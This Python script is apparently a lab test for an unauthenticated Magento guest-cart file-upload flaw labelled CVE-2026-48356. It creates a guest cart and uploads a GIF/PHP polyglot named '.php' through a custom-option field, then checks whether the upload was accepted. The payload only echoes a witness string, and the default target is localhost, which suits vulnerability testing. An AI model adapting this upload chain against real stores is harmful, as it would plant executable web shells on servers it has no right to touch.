#!/usr/bin/env python3
"""Local oracle for CVE-2026-48356 (PolyShell).

Unauthenticated Magento REST guest-cart custom-option file upload.
ImageContentValidator only checks getimagesizefromstring + MIME; the
filename extension is not restricted, so a GIF89a polyglot named *.php
is written under pub/media/custom_options/quote/.

Witness is GHSA48356-WITNESS in the add-to-cart JSON (the uploaded
filename). Not eval/system/shell. Loopback only.
"""

from __future__ import annotations

import base64
import json
import ssl
import sys
import urllib.error
import urllib.request
from dataclasses import dataclass
from typing import Any

LABEL = "CVE-2026-48356"
WITNESS = "GHSA48356-WITNESS"
SKU = "lab-sku"
HOST = "127.0.0.1"
PORT = 18096
DEFAULT_BASE = f"http://{HOST}:{PORT}"
USER_AGENT = "cve-2026-48356-lab"
HTTP_TIMEOUT = 60
GRAPHQL_PATH = "/graphql"
GUEST_CARTS_PATH = "/rest/default/V1/guest-carts"
SKU_SNIPPET = 160
CART_SNIPPET = 120
ITEM_SNIPPET = 420

# 1x1 GIF recognized by getimagesizefromstring, then a PHP short-echo (not eval).
GIF = bytes.fromhex(
    "474946383961010000010080000000000000ffffff21f90401000000002c0000000001000000020144003b"
)


@dataclass(frozen=True)
class LabConfig:
    base: str
    timeout: int
    ssl_context: ssl.SSLContext


def _config(argv: list[str]) -> LabConfig:
    base = (argv[1] if len(argv) > 1 else DEFAULT_BASE).rstrip("/")
    return LabConfig(
        base=base,
        timeout=HTTP_TIMEOUT,
        ssl_context=ssl._create_unverified_context(),
    )


def fail(reason: str) -> int:
    print(f"FAIL {reason}")
    return 1


def http(
    cfg: LabConfig,
    method: str,
    path: str,
    data: dict[str, Any] | None = None,
) -> tuple[int, str]:
    body = None if data is None else json.dumps(data).encode()
    request = urllib.request.Request(
        cfg.base + path,
        data=body,
        headers={"Content-Type": "application/json", "User-Agent": USER_AGENT},
        method=method,
    )
    try:
        with urllib.request.urlopen(
            request, timeout=cfg.timeout, context=cfg.ssl_context
        ) as resp:
            return resp.status, resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode("utf-8", "replace")


def _sku_query(sku: str) -> dict[str, str]:
    return {
        "query": '{ products(filter: {sku: {eq: "%s"}}) { items { sku } } }' % sku,
    }


def _guest_cart_item(cart_id: str) -> dict[str, Any]:
    blob = GIF + f'<?= "{WITNESS}" ?>'.encode()
    return {
        "cartItem": {
            "sku": SKU,
            "qty": 1,
            "quote_id": cart_id,
            "product_option": {
                "extension_attributes": {
                    "custom_options": [
                        {
                            "option_id": "1",
                            "option_value": "file",
                            "extension_attributes": {
                                "file_info": {
                                    "base64_encoded_data": base64.b64encode(blob).decode(),
                                    "name": f"{WITNESS}.php",
                                    "type": "image/gif",
                                }
                            },
                        }
                    ]
                }
            },
        }
    }


def _parse_cart_id(body: str) -> str | None:
    try:
        cart_id = json.loads(body)
    except json.JSONDecodeError:
        return None
    if not isinstance(cart_id, str) or not cart_id:
        return None
    return cart_id


def main() -> int:
    cfg = _config(sys.argv)
    print(f"IOC base={cfg.base}")
    try:
        status_gql, body_gql = http(cfg, "POST", GRAPHQL_PATH, _sku_query(SKU))
        print(f"IOC sku-lookup status={status_gql} snippet={body_gql[:SKU_SNIPPET]!r}")
        if SKU not in body_gql:
            return fail("no lab-sku in catalog (run seed-product.sh)")

        status_cart, body_cart = http(cfg, "POST", GUEST_CARTS_PATH)
        print(f"IOC guest-cart status={status_cart} snippet={body_cart[:CART_SNIPPET]!r}")
        cart_id = _parse_cart_id(body_cart)
        if cart_id is None:
            return fail("no guest cart id")
        print(f"IOC cart_id={cart_id}")

        items_path = f"{GUEST_CARTS_PATH}/{cart_id}/items"
        status_item, body_item = http(cfg, "POST", items_path, _guest_cart_item(cart_id))
        print(f"IOC add-item status={status_item} snippet={body_item[:ITEM_SNIPPET]!r}")
    except (urllib.error.URLError, TimeoutError, OSError) as exc:
        print(f"{type(exc).__name__}: {exc}")
        return fail("no php polyglot in guest-cart custom_options")

    if status_item == 200 and WITNESS in body_item and f"{WITNESS}.php" in body_item:
        print(f"SUCCESS {LABEL} PolyShell unrestricted php upload")
        return 0
    return fail("no php polyglot in guest-cart custom_options")


if __name__ == "__main__":
    raise SystemExit(main())